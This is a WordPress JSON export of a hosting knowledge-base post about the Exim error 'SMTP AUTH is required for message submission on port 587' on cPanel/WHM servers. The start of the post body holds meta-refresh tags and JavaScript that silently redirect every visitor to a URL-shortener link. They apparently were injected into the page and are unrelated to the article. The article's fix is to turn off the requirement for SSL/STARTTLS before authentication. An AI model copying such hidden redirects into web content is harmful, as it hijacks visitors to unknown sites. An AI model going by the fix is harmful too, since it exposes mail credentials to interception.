{"id":446,"date":"2018-01-17T06:04:54","date_gmt":"2018-01-17T06:04:54","guid":{"rendered":"http:\/\/kb.onlinesupport4u.in\/?p=446"},"modified":"2018-01-17T06:04:54","modified_gmt":"2018-01-17T06:04:54","slug":"smtp-auth-is-required-for-message-submission-on-port-587","status":"publish","type":"post","link":"https:\/\/aarviserversolutions.co.in\/wps\/smtp-auth-is-required-for-message-submission-on-port-587\/","title":{"rendered":"SMTP AUTH is required for message submission on port 587"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\nThe \u2018SMTP AUTH\u2019 error usually happens when users try to send mails without properly authenticating their mail account in email clients such as Outlook or Thunderbird.<span id=\"more-35150\"><\/span><\/p>\n<h2>What causes the error \u2018SMTP AUTH is required for message submission on port 587\u2019 in cPanel\/WHM servers<\/h2>\n<p>With the latest cPanel\/WHM update, email accounts that were working fine till now, may find their mails getting undelivered, showing\u00a0this\u00a0error message in the Exim log:<\/p>\n<p>2018-01-17 05:57:40 H=(cruxserver12.com) [174.136.14.87]:63927 F=&lt;zimphost@gmail.com&gt; rejected RCPT &lt;technical424@gmail.com&gt;: SMTP AUTH is required for message submission on port 587<br \/>\n2018-01-17 05:58:09 H=(cruxserver12.com) [174.136.14.87]:63932 F=&lt;zimphost@gmail.com&gt; rejected RCPT &lt;technical424@gmail.com&gt;: SMTP AUTH is required for message submission on port 587<\/p>\n<p>This has happened due to a latest security feature implemented in cPanel\/WHM \u2013 \u2018SMTP AUTH\u2019 requires SSL by default.<\/p>\n<p>To combat spamming in servers and to provide secure email transmission, email clients that try to send mails without using secure transmission will be denied mail delivery through the server.<\/p>\n<p>The option that determines this is \u2018Require clients to connect with SSL or issue the STARTTLS command before they are allowed to authenticate with the server\u2019,\u00a0which is set to \u2018On\u2019\u00a0by default, in WHM -&gt; Exim Configuration Editor.<\/p>\n<p><a href=\"http:\/\/kb.onlinesupport4u.in\/wp-content\/uploads\/2018\/01\/smtp-auth-is-required-for-message-submission-on-po_3-768x368.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-447\" src=\"http:\/\/kb.onlinesupport4u.in\/wp-content\/uploads\/2018\/01\/smtp-auth-is-required-for-message-submission-on-po_3-768x368.jpg\" alt=\"\" width=\"768\" height=\"368\" \/><\/a><\/p>\n<p>Setting it to Off will fix this issue\u00a0 :)<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The \u2018SMTP AUTH\u2019 error usually happens when users try to send mails without properly authenticating their mail account in email clients such as Outlook or Thunderbird. What causes the error \u2018SMTP AUTH is required for message submission on port 587\u2019 in cPanel\/WHM servers With the latest cPanel\/WHM update, email accounts that were working fine till [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7585,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35],"tags":[189],"class_list":["post-446","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cpanel","category-linux","tag-smtp-auth-is-required"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SMTP AUTH is required for message submission on port 587 - Aarvi Server Solutions<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aarviserversolutions.co.in\/wps\/smtp-auth-is-required-for-message-submission-on-port-587\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SMTP AUTH is required for message submission on port 587 - Aarvi Server Solutions\" \/>\n<meta property=\"og:description\" content=\"The \u2018SMTP AUTH\u2019 error usually happens when users try to send mails without properly authenticating their mail account in email clients such as Outlook or Thunderbird. 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